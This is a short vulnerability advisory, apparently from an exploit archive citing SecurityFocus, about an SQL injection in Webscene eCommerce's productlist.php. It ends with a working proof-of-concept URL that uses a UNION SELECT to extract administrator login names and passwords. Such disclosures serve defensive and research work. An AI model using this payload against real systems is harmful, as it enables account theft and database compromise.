Webscene eCommerce - 'productlist.php' SQL Injection

source: https://www.securityfocus.com/bid/31755/info

Webscene eCommerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/productlist.php?categoryid=20&level=-4 union select concat(loginid,0x2f,password) from adminuser--